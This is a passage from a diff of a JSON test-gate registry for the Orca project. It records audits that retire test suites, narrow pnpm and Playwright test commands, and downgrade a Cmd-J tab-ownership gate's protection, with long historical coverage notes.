disconnect/pairing and catalog-replay examples remain are historical. Retained partial protection applies only to the independent macOS rendered receipt and does not protect these retired alarms.", "Audit5628 exact prior command before retired suite selector removal: ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts", "Audit5628 exact retired testFiles entry: src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts", - "Module-layout web/session cleanup: Removed the primary-browser status TEST alarm for authenticated socket readiness and close retiring its owner. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/19/commands/0\",\"raw\":\"\\\"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts\\\"\"},{\"pointer\":\"/gates/19/testFiles/2\",\"raw\":\"\\\"src/renderer/src/web/web-runtime-status-owner.test.ts\\\"\"}]" + "Module-layout web/session cleanup: Removed the primary-browser status TEST alarm for authenticated socket readiness and close retiring its owner. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/19/commands/0\",\"raw\":\"\\\"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts src/renderer/src/web/web-runtime-status-owner.test.ts\\\"\"},{\"pointer\":\"/gates/19/testFiles/2\",\"raw\":\"\\\"src/renderer/src/web/web-runtime-status-owner.test.ts\\\"\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-10\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_BACKGROUND_LAUNCH=1 ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/runtime-host-status-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"summary\": \"Desktop-host and headless-host journeys passed with desktop and browser viewers.\",\n \"durationSeconds\": 31.3\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts\",\n \"ORCA_BACKGROUND_LAUNCH=1 ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/runtime-host-status-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts\",\n \"src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts\",\n \"tests/e2e/runtime-host-status-recovery.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts\",\n \"assertions\": [\n \"retries a failed status operation while retaining healthy transport and last good metadata\",\n \"disconnect settles readers and prevents late results and retry resurrection\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"ORCA_BACKGROUND_LAUNCH=1 pnpm test src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts\"],\"testFiles\":[\"src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts\",\"src/main/ipc/runtime-environments/status/runtime-environment-status-connection.test.ts\"],\"assertionRefs\":[{\"file\":\"src/shared/remote-runtime/host-status/runtime-host-status-owner.test.ts\",\"assertions\":[\"retries a failed status operation while retaining healthy transport and last good metadata\",\"disconnect settles readers and prevents late results and retry resurrection\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit1348 changed referenced test sources; no new red/green validation of the reduced set. Historical account: First-status-failure oracle failed on main 58ff95becb40 (one request instead of two) and passes on the candidate. E2E verifies candidate recovery, not a baseline comparison.\"},\"flakeHistory\":{\"status\":\"soaking\",\"evidence\":\"Changed selectors have no new soak result after Audit1348; any retained unchanged-source receipts apply only to their own commands. Historical account: Local candidate runs passed; no sustained CI history yet.\"},\"runtimeBudget\":{\"p95Seconds\":180,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":false,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Deterministic tests assert one shared request and no healthy owner polling.\"}}" ], "demotionRule": "Keep experimental until repeated runs establish reliability; preserve request-count and lifecycle assertions." }, @@ -2161,7 +2140,7 @@ "id": "cmd-j-tabs.host-qualified-candidate-ownership", "title": "Cmd-J tab candidates retain execution-host ownership", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "renderer-workspace-tabs", "layer": "renderer-state-and-navigation", "surfaces": [ @@ -2172,90 +2151,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "ssh", "remote-runtime"], - "coveredPlatforms": ["macos"], + "coveredPlatforms": [], "coveredProviders": [], - "coverageNotes": "Audit6018 removes only the close-linger repository filter reseed case from WorktreeJumpPalette.test.tsx. That optional same-instance filter reset alarm is intentionally lost without equivalent replacement. Host-qualified folder/paired-runtime activation intent cases remain with their own scope. Selectors and all complete dated receipts are unchanged; those receipts do not validate changed source bytes. No fresh execution or import-closure claim. Complete prior account preserved verbatim: Audit5910 retires the complete browser-palette-page-entries suite: same-ID host-qualified search rows, missing stamped-owner refusal and ambiguous legacy-bucket refusal alarms are intentionally lost without equivalent replacement. Remove two standalone selectors, narrow two compound selectors and remove its testFiles/assertionRefs entries. Remaining selectors/assertions retain only their original scope. All complete dated evidenceRuns remain unchanged; none selects this source and none validates the changed selectors. Complete prior account retained verbatim: Audit5790 companion to audit5787: Retire simulator palette activation: collision/ambiguous-host refusal and owning split/tab selection alarms are intentionally lost. Narrow3 compound selectors and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete browser palette activation suite. Colliding child-ID pre-mutation refusal, focus intent captured before page removal, correct split selection and missing authoritative wrapper refusal alarms are intentionally lost without replacement. Narrow three compound commands and remove one testFiles entry. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5765 companion to audit5760 retires the whole simulator-palette-search.test.ts suite. Direct same-ID local/remote simulator candidate ownership and ambiguous hostless legacy refusal alarms are intentionally lost without equivalent replacement. Four compound unit commands are narrowed and its testFiles entry removed. Browser candidate and paired Cmd-J selection assertions remain unchanged, with only their original scope; they are not certified as replacements. All complete dated evidenceRuns remain unchanged; none selects this removed suite, and none validates changed commands. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account is preserved verbatim below as historical, including any older then-retained coverage claim: Audit5718 companion to audit5715 retires the whole worktree-checks-review-index.test.ts suite. Its remaining same-ID local/SSH Worktree-object review-index isolation alarm is intentionally lost without equivalent replacement. Remove its standalone selector, narrow two compound selectors, and remove its testFiles/assertionRefs entries. Two complete dated failed receipts selecting this suite through command/currentCommand are retired unchanged into knownGaps; they do not validate any remaining selector. All unrelated selectors, assertions and receipts retain only their original scope. No fresh execution, current import reachability, provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5658 integrates source audit5652: retire the whole web-session-tabs-sync-mirror-identity.test.ts suite and its exact active selectors. Intentionally lose same-id host mirror snapshot and removal isolation alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3381 intentionally removes the entire Cmd-J host-qualified candidate-ownership suite and its active selectors/assertion. The hidden same-id sibling ambiguity regression alarm is lost without replacement. The complete original dated failed receipt below is retired verbatim, including both command and currentCommand, rather than reassigned as validation of remaining selectors. Other complete receipts retain their exact original scopes; remaining browser/simulator/workspace/e2e selectors do not imply equivalent ownership protection. No fresh execution is claimed. Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. Audit5612 retires the remaining integrated mobile markdown close/frame-settlement suite, accepting loss of its closed-editor snapshot republishing alarm without replacement or fresh validation. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit2729 reduces browser-page-palette-activation.test.ts: separate SSH/paired-runtime alias forwarding, distinct multigroup views accepted, and remote-folder activation forwarding alarms are removed. Collision refusal, preactivation address-bar focus capture, owning-group activation state and missing-tab refusal remain byte-identical. No equivalent replacement, fresh gate execution or actual host/browser delivery evidence is claimed. Prior coverage account: Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 reduces cmd-j-host-qualified-candidate-ownership.test.ts to the scoped open-tab hidden same-ID legacy ambiguity refusal. Separate browser/simulator paired-runtime alias and current-row projections, generic workspace host projection and hostless explicit-owner refusal examples are removed without equivalent replacement. No fresh gate execution, browser activation, physical host, simulator or remote delivery evidence is claimed. Historical dated receipts and budgets remain raw-byte exact. Prior coverage account: Audit1899 replays sealed Audit1895: workspace-session-schema.test.ts keeps only cross-workspace truncated-tab salvage and legacy browser-history cap normalization. Four current commands and testFiles retain that reduced source; no current assertionRef or active receipt selects it. SSH file-owner, isolated browser partition, launch/title/quick-command fields, recency, structured-chat/view-mode and remote browser identity hydration alarms are intentionally lost. Existing retired receipt strings and unrelated active receipts remain verbatim. No equivalent replacement, new Cmd-J gate execution, native simulator or remote/browser restore proof is claimed. Historical coverage account before Audit1899: Audit1494 removes use-open-tab-search.test.ts. Supplied host/worktree/title/ranking projections, simple subscription updates and result-array identity alarms are retired. No actual activation or navigation occurred in that suite. No equivalent replacement coverage or fresh Cmd-J gate validation is claimed. Historical receipts remain scoped to their original selectors. Audit1433 narrows worktree-checks-review-index.test.ts to same-ID local/SSH object-key review isolation. Local provider/cache lookup, GitLab preference, suppression/legacy fallback, explicit-PR authority, physical-versus-runtime review isolation, and branchless-workspace alarms are intentionally removed. No equivalent replacement coverage is claimed. Historical receipts and commands remain unchanged and do not certify the reduced source. Historical coverage account: Audit1396 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic candidate-builder contracts inject local and paired-runtime worktrees with the same bare id into the real aggregated tab buckets, including folder workspaces and a paired runtime transporting an SSH-owned worktree. A mirror contract preserves distinct same-id runtime tabs. A paired Electron journey verifies both visible browser rows and both visible simulator rows, then requires each selection to render its owning active tab and update backing host-qualified state. The test-value audit narrowed simulator-palette-search.test.ts to the recency tie, same-id host isolation, ambiguous legacy host rejection and oversized-input getter tripwire. Supplied timestamp, empty-query context ordering, host projection, alias/range, metadata matching, active-tab score, over-token/whitespace and malformed display-name fallback examples were removed. Their separate alarms are lost; retained candidate and activation contracts do not establish equivalent coverage. Historical run commands and results remain historical. The audit also removed the standalone workspace-tab-palette-search suite: supplied row, title, metadata, alias, range, ranking and ownership examples no longer provide their separate alarms. Other retained contracts are not replacement coverage. The mirror-identity fixture now retains same-id sibling-runtime isolation and the repeated-frame subscriber tripwire only. Supplied field, owner, alias and mapping examples are removed; their separate alarms are lost. The retained sibling-runtime case is not equivalent coverage for them. The test-value audit removed tabs-open-close-lifecycle host-stamping examples and ordinary tab/group operations from tabs-pane-layout-operations. Local-null, explicit-runtime and SSH-without-active-host stamp assertions are lost; retained mobile/MRU and subscriber/atomic split cases do not replace them. Candidate and live Cmd-J evidence retains its own scope. Historical commands, outcomes and narratives remain historical. Audit1308: src/renderer/src/lib/browser-palette-search.test.ts removed. Browser-palette token and pasted-query size-guard work alarms disappear. No equivalent replacement coverage is claimed. Audit1386: src/renderer/src/lib/open-mobile-emulator-tab.test.ts reduced. Duplicate attach count and null-tab creation retry/guard reset standalone alarms removed; no simulator device used. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1396: src/renderer/src/lib/simulator-palette-search.test.ts reduced. Lose simulator-specific lastFocusedAt tie-order alarm; identity/routing and pre-scan size fence remain. No native simulator or real remote launch claim. No equivalent replacement coverage is claimed. Audit1402: src/renderer/src/runtime/web-session-tabs-sync-mirror-identity.test.ts reduced. Loses repeated no-op frame store-notification budget; independent cross-runtime resource preservation remains. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit6018 removes only the close-linger repository filter reseed case from WorktreeJumpPalette.test.tsx. That optional same-instance filter reset alarm is intentionally lost without equivalent replacement. Host-qualified folder/paired-runtime activation intent cases remain with their own scope. Selectors and all complete dated receipts are unchanged; those receipts do not validate changed source bytes. No fresh execution or import-closure claim. Complete prior account preserved verbatim: Audit5910 retires the complete browser-palette-page-entries suite: same-ID host-qualified search rows, missing stamped-owner refusal and ambiguous legacy-bucket refusal alarms are intentionally lost without equivalent replacement. Remove two standalone selectors, narrow two compound selectors and remove its testFiles/assertionRefs entries. Remaining selectors/assertions retain only their original scope. All complete dated evidenceRuns remain unchanged; none selects this source and none validates the changed selectors. Complete prior account retained verbatim: Audit5790 companion to audit5787: Retire simulator palette activation: collision/ambiguous-host refusal and owning split/tab selection alarms are intentionally lost. Narrow3 compound selectors and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete browser palette activation suite. Colliding child-ID pre-mutation refusal, focus intent captured before page removal, correct split selection and missing authoritative wrapper refusal alarms are intentionally lost without replacement. Narrow three compound commands and remove one testFiles entry. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5765 companion to audit5760 retires the whole simulator-palette-search.test.ts suite. Direct same-ID local/remote simulator candidate ownership and ambiguous hostless legacy refusal alarms are intentionally lost without equivalent replacement. Four compound unit commands are narrowed and its testFiles entry removed. Browser candidate and paired Cmd-J selection assertions remain unchanged, with only their original scope; they are not certified as replacements. All complete dated evidenceRuns remain unchanged; none selects this removed suite, and none validates changed commands. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account is preserved verbatim below as historical, including any older then-retained coverage claim: Audit5718 companion to audit5715 retires the whole worktree-checks-review-index.test.ts suite. Its remaining same-ID local/SSH Worktree-object review-index isolation alarm is intentionally lost without equivalent replacement. Remove its standalone selector, narrow two compound selectors, and remove its testFiles/assertionRefs entries. Two complete dated failed receipts selecting this suite through command/currentCommand are retired unchanged into knownGaps; they do not validate any remaining selector. All unrelated selectors, assertions and receipts retain only their original scope. No fresh execution, current import reachability, provider/native/platform or replacement coverage is claimed. Complete prior account preserved verbatim: Audit5658 integrates source audit5652: retire the whole web-session-tabs-sync-mirror-identity.test.ts suite and its exact active selectors. Intentionally lose same-id host mirror snapshot and removal isolation alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3381 intentionally removes the entire Cmd-J host-qualified candidate-ownership suite and its active selectors/assertion. The hidden same-id sibling ambiguity regression alarm is lost without replacement. The complete original dated failed receipt below is retired verbatim, including both command and currentCommand, rather than reassigned as validation of remaining selectors. Other complete receipts retain their exact original scopes; remaining browser/simulator/workspace/e2e selectors do not imply equivalent ownership protection. No fresh execution is claimed. Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. Audit5612 retires the remaining integrated mobile markdown close/frame-settlement suite, accepting loss of its closed-editor snapshot republishing alarm without replacement or fresh validation. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit2729 reduces browser-page-palette-activation.test.ts: separate SSH/paired-runtime alias forwarding, distinct multigroup views accepted, and remote-folder activation forwarding alarms are removed. Collision refusal, preactivation address-bar focus capture, owning-group activation state and missing-tab refusal remain byte-identical. No equivalent replacement, fresh gate execution or actual host/browser delivery evidence is claimed. Prior coverage account: Audit2697 browser source review (metadata followup2702): Reduce src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts by four authored/expanded cases without replacement. The remaining three cases preserve only their existing same-ID execution-host separation, absent stamped-owner refusal and ambiguous legacy-bucket refusal scope. Intentionally lose duplicate backing-tab-ID suppression, multiple unified-browser claims of one workspace, foreign-worktree unified-tab rejection, and the 1000-workspace output/internal getter-read budget alarm. These are real removed alarms; the retained host cases are not equivalent replacements. Current test-value policy rejects internal getter/read budgets; no replacement performance or measured-cost claim is made. Keep existing nonempty selectors and the retained same-ID browser assertionRef. No fresh gate execution or reduced-source validation is supplied; dated receipts, results, commands and historical coverage accounts remain within their original source scope. No live browser activation, physical provider, mixed-version execution, mobile, native UI, platform hardware, soak or timing result is added. Prior coverage account (preserved verbatim): Audit2266 reduces cmd-j-host-qualified-candidate-ownership.test.ts to the scoped open-tab hidden same-ID legacy ambiguity refusal. Separate browser/simulator paired-runtime alias and current-row projections, generic workspace host projection and hostless explicit-owner refusal examples are removed without equivalent replacement. No fresh gate execution, browser activation, physical host, simulator or remote delivery evidence is claimed. Historical dated receipts and budgets remain raw-byte exact. Prior coverage account: Audit1899 replays sealed Audit1895: workspace-session-schema.test.ts keeps only cross-workspace truncated-tab salvage and legacy browser-history cap normalization. Four current commands and testFiles retain that reduced source; no current assertionRef or active receipt selects it. SSH file-owner, isolated browser partition, launch/title/quick-command fields, recency, structured-chat/view-mode and remote browser identity hydration alarms are intentionally lost. Existing retired receipt strings and unrelated active receipts remain verbatim. No equivalent replacement, new Cmd-J gate execution, native simulator or remote/browser restore proof is claimed. Historical coverage account before Audit1899: Audit1494 removes use-open-tab-search.test.ts. Supplied host/worktree/title/ranking projections, simple subscription updates and result-array identity alarms are retired. No actual activation or navigation occurred in that suite. No equivalent replacement coverage or fresh Cmd-J gate validation is claimed. Historical receipts remain scoped to their original selectors. Audit1433 narrows worktree-checks-review-index.test.ts to same-ID local/SSH object-key review isolation. Local provider/cache lookup, GitLab preference, suppression/legacy fallback, explicit-PR authority, physical-versus-runtime review isolation, and branchless-workspace alarms are intentionally removed. No equivalent replacement coverage is claimed. Historical receipts and commands remain unchanged and do not certify the reduced source. Historical coverage account: Audit1396 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic candidate-builder contracts inject local and paired-runtime worktrees with the same bare id into the real aggregated tab buckets, including folder workspaces and a paired runtime transporting an SSH-owned worktree. A mirror contract preserves distinct same-id runtime tabs. A paired Electron journey verifies both visible browser rows and both visible simulator rows, then requires each selection to render its owning active tab and update backing host-qualified state. The test-value audit narrowed simulator-palette-search.test.ts to the recency tie, same-id host isolation, ambiguous legacy host rejection and oversized-input getter tripwire. Supplied timestamp, empty-query context ordering, host projection, alias/range, metadata matching, active-tab score, over-token/whitespace and malformed display-name fallback examples were removed. Their separate alarms are lost; retained candidate and activation contracts do not establish equivalent coverage. Historical run commands and results remain historical. The audit also removed the standalone workspace-tab-palette-search suite: supplied row, title, metadata, alias, range, ranking and ownership examples no longer provide their separate alarms. Other retained contracts are not replacement coverage. The mirror-identity fixture now retains same-id sibling-runtime isolation and the repeated-frame subscriber tripwire only. Supplied field, owner, alias and mapping examples are removed; their separate alarms are lost. The retained sibling-runtime case is not equivalent coverage for them. The test-value audit removed tabs-open-close-lifecycle host-stamping examples and ordinary tab/group operations from tabs-pane-layout-operations. Local-null, explicit-runtime and SSH-without-active-host stamp assertions are lost; retained mobile/MRU and subscriber/atomic split cases do not replace them. Candidate and live Cmd-J evidence retains its own scope. Historical commands, outcomes and narratives remain historical. Audit1308: src/renderer/src/lib/browser-palette-search.test.ts removed. Browser-palette token and pasted-query size-guard work alarms disappear. No equivalent replacement coverage is claimed. Audit1386: src/renderer/src/lib/open-mobile-emulator-tab.test.ts reduced. Duplicate attach count and null-tab creation retry/guard reset standalone alarms removed; no simulator device used. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1396: src/renderer/src/lib/simulator-palette-search.test.ts reduced. Lose simulator-specific lastFocusedAt tie-order alarm; identity/routing and pre-scan size fence remain. No native simulator or real remote launch claim. No equivalent replacement coverage is claimed. Audit1402: src/renderer/src/runtime/web-session-tabs-sync-mirror-identity.test.ts reduced. Loses repeated no-op frame store-notification budget; independent cross-runtime resource preservation remains. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4965", "https://github.com/stablyai/orca/pull/15371" ], "invariant": "Candidate identity is the tuple of execution-host identity and worktree identity: same-id sibling hosts retain separate correct browser, simulator, and workspace tabs, each tab appears exactly once, and selection activates its owning host.", - "oracle": "Audit6018 removes only the close-linger repository filter reseed case from WorktreeJumpPalette.test.tsx. That optional same-instance filter reset alarm is intentionally lost without equivalent replacement. Host-qualified folder/paired-runtime activation intent cases remain with their own scope. Selectors and all complete dated receipts are unchanged; those receipts do not validate changed source bytes. No fresh execution or import-closure claim. Complete prior account preserved verbatim: Audit5910 retires the complete browser-palette-page-entries suite: same-ID host-qualified search rows, missing stamped-owner refusal and ambiguous legacy-bucket refusal alarms are intentionally lost without equivalent replacement. Remove two standalone selectors, narrow two compound selectors and remove its testFiles/assertionRefs entries. Remaining selectors/assertions retain only their original scope. All complete dated evidenceRuns remain unchanged; none selects this source and none validates the changed selectors. Complete prior account retained verbatim: Audit5790 companion to audit5787: Retire simulator palette activation: collision/ambiguous-host refusal and owning split/tab selection alarms are intentionally lost. Narrow3 compound selectors and remove1 testFiles. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5779 companion to audit5775: Retire the complete browser palette activation suite. Colliding child-ID pre-mutation refusal, focus intent captured before page removal, correct split selection and missing authoritative wrapper refusal alarms are intentionally lost without replacement. Narrow three compound commands and remove one testFiles entry. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5765 companion to audit5760 retires the whole simulator-palette-search.test.ts suite. Direct same-ID local/remote simulator candidate ownership and ambiguous hostless legacy refusal alarms are intentionally lost without 